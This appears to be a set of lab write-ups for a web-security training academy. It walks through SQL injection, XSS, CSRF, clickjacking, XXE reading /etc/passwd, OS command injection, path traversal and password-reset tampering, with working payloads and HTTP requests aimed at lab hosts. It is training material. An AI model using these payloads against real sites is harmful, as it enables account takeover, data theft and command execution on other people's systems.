Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
We can exploit an SQLi in category search input: ' OR 1=1 --
The query will be interpreted as: SELECT * FROM products WHERE category = '' OR 1=1 -- ' AND released = 1
cleaning it up gives: SELECT * FROM products WHERE category = '' OR 1=1
We can head to /login route, send administrator' -- in the username field. We'll be logged in as administrator.
Performing a search in the website, we can see that our input is reflected. We try <script>alert(1)</script> as our search payload & we get an XSS.
We can go to a post's details page, scroll down & write a new comment. We use <script>alert(1)</script> for the comment body & anything for the rest of the other fields. Posting this comment creates a stored XSS.
This alert will be executed to anyone that opens the post details later on.
Description:
This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page. The document.write function is called with data from location.search, which you can control using the website URL.
Examining the page's source code:
<script>
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
</script>Well, that's our XSS. We can insert a "> to break out of the img tag then inject our XSS payload. Full payload: a"><script>alert(1)</script>
Description:
This lab's email change functionality is vulnerable to CSRF.
To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to your exploit server.
You can log in to your own account using the following credentials: wiener:peter
After logging in, we can change our own email address:
First things first, we examine the request sent to update our email:
Cleaning it up a little:
For a CSRF, we can create a form with 1 input, email, that's sent to our lab url. Since there's no CSRF tokens, if we host this url in a website & send the url to a victim, this will successfully change their email. (The browser will attach the required cookies for the request)
Our form:
<form id="f" method="POST" action="https://0ab00099034d0c18826d339700bc00bd.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="attacker@qa.team">
</form>With a little JS, we can automatically submit the form:
<script>
window.f.submit();
</script>We store our payload in exploit server (Or we can deploy our own), deliver the link to the victim. The whole payload can be autogenerated by burpsuite by right clicking on the request -> engagement tools
Description:
This lab contains login functionality and a delete account button that is protected by a CSRF token. A user will click on elements that display the word "click" on a decoy website.
To solve the lab, craft some HTML that frames the account page and fools the user into deleting their account. The lab is solved when the account is deleted.
You can log in to your own account using the following credentials: wiener:peter
Simple, we'll create a website with 2 main components:
- Our fake website, the one that'll be visible to the victim.
- The target website, will be visibility hidden (using opacity), and placed on top of our fake website.
The user will see our fake page however, any clicks will be sent to the invisible iframe.
Our fake website:
Code:
<head>
<style>
#target_website {
position:relative;
width:400px;
height:700px;
opacity:0.5;
z-index:2;
}
#decoy_website {
position:absolute;
top: 480px;
left: 70px;
width:300px;
height:400px;
z-index:1;
}
</style>
</head>
<body>
<div id="decoy_website">
<p>click</p>
</div>
<iframe id="target_website" src="https://0aa000c603d8752282c347e7009b00b5.web-security-academy.net my-account">
</iframe>
</body>Description:
This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response.
To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.
XML input are parsed server-side & if not filtered properly, this can lead to potentially reading local server files.
The HTTP request sent to the server:
POST /product/stock HTTP/2
Host: 0acc00d204844f538296a23f0080007f.web-security-academy.net
Cookie: session=ase0bdiizPQRn5zjRVowBhCCAJYSSt3G
Content-Length: 107
Content-Type: application/xml
Accept: */*
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<stockCheck>
<productId>
3
</productId>
<storeId>
1
</storeId>
</stockCheck>Sending an invalid product id, reflects it back to us:
So, we would go for injecting /etc/passwd content as our product id, which will obviously cause an error, and result in leaking the content of the file:
Final payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>
&file;
</productId>
<storeId>
1
</storeId>
</stockCheck>Description:
This lab contains an OS command injection vulnerability in the product stock checker.
The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.
To solve the lab, execute the whoami command to determine the name of the current user
A simple command injection. Request to verify product stock:
POST /product/stock HTTP/2
Host: 0a3800430303e672841aaf7d004d0067.web-security-academy.net
Cookie: session=Qs1qkEkyO7uSBmxrKCOrm8DWeJbgjsXi
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Accept: */*
productId=2&storeId=1We try enumerating on productId & storeId fields, we can add ;sleep 5; in each field to verify whether or not it's being executed.
storeId results in the response being delayed, so, we switch to whoami & send:
This lab contains a path traversal vulnerability in the display of product images.
To solve the lab, retrieve the contents of the /etc/passwd file.
Looking at how the images are displayed:
The url is: https://0adc00640432edf18375796b005b0089.web-security-academy.net/image?filename=29.jpg
Well, a jucy spot for path traversal. We try to read /etc/passwd:
Well, the title says it, now, we have to find it. One option is to bruteforce it, another, robots.txt:
Well, there it's. And guess, no password is needed:
Magic.
Description:
This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and access his "My account" page.
- Your credentials: wiener:peter
- Victim's username: carlos
We examine the password reset functionality. HTTP Request:
POST /forgot-password HTTP/2
Host: 0a5c005504517f05829148910051005f.web-security-academy.net
Cookie: session=CXcBvvgQnLlnhSTTHNEZsweR1EGyNCU5
Content-Length: 15
Content-Type: application/x-www-form-urlencoded
username=wienerIn the provided attacker email, we get the following email:
Sent: 2024-02-16 17:48:40 +0000
From: "No reply" <no-reply@0a5c005504517f05829148910051005f.web-security-academy.net>
To: "wiener" <wiener@exploit-0a080083042a7faa829047d4013c0014.exploit-server.net>
Subject: Account recovery
Hello!
Please follow the link below to reset your password.
https://0a5c005504517f05829148910051005f.web-security-academy.net/forgot-password?temp-forgot-password-token=6lvbwhs5szb626p8y6pbr3xw0sx39oda
Thanks,
Support team
Visiting the link & trying to update our password, we get the following request:
POST /forgot-password?temp-forgot-password-token=6lvbwhs5szb626p8y6pbr3xw0sx39oda HTTP/2
Host: 0a5c005504517f05829148910051005f.web-security-academy.net
Cookie: session=CXcBvvgQnLlnhSTTHNEZsweR1EGyNCU5
Content-Length: 119
Content-Type: application/x-www-form-urlencoded
temp-forgot-password-token=6lvbwhs5szb626p8y6pbr3xw0sx39oda&username=wiener&new-password-1=123456&new-password-2=123456
We see that our username username is sent in the requet. We try to change it to carlos:
Changed!
Description:
This lab's verbose error messages reveal that it is using a vulnerable version of a third-party framework. To solve the lab, obtain and submit the version number of this framework.
Opening a product's with an invalid id, we get an internal server error & a stack trace:
At the end, we see that the server is running on Apache Struts 2 2.3.31.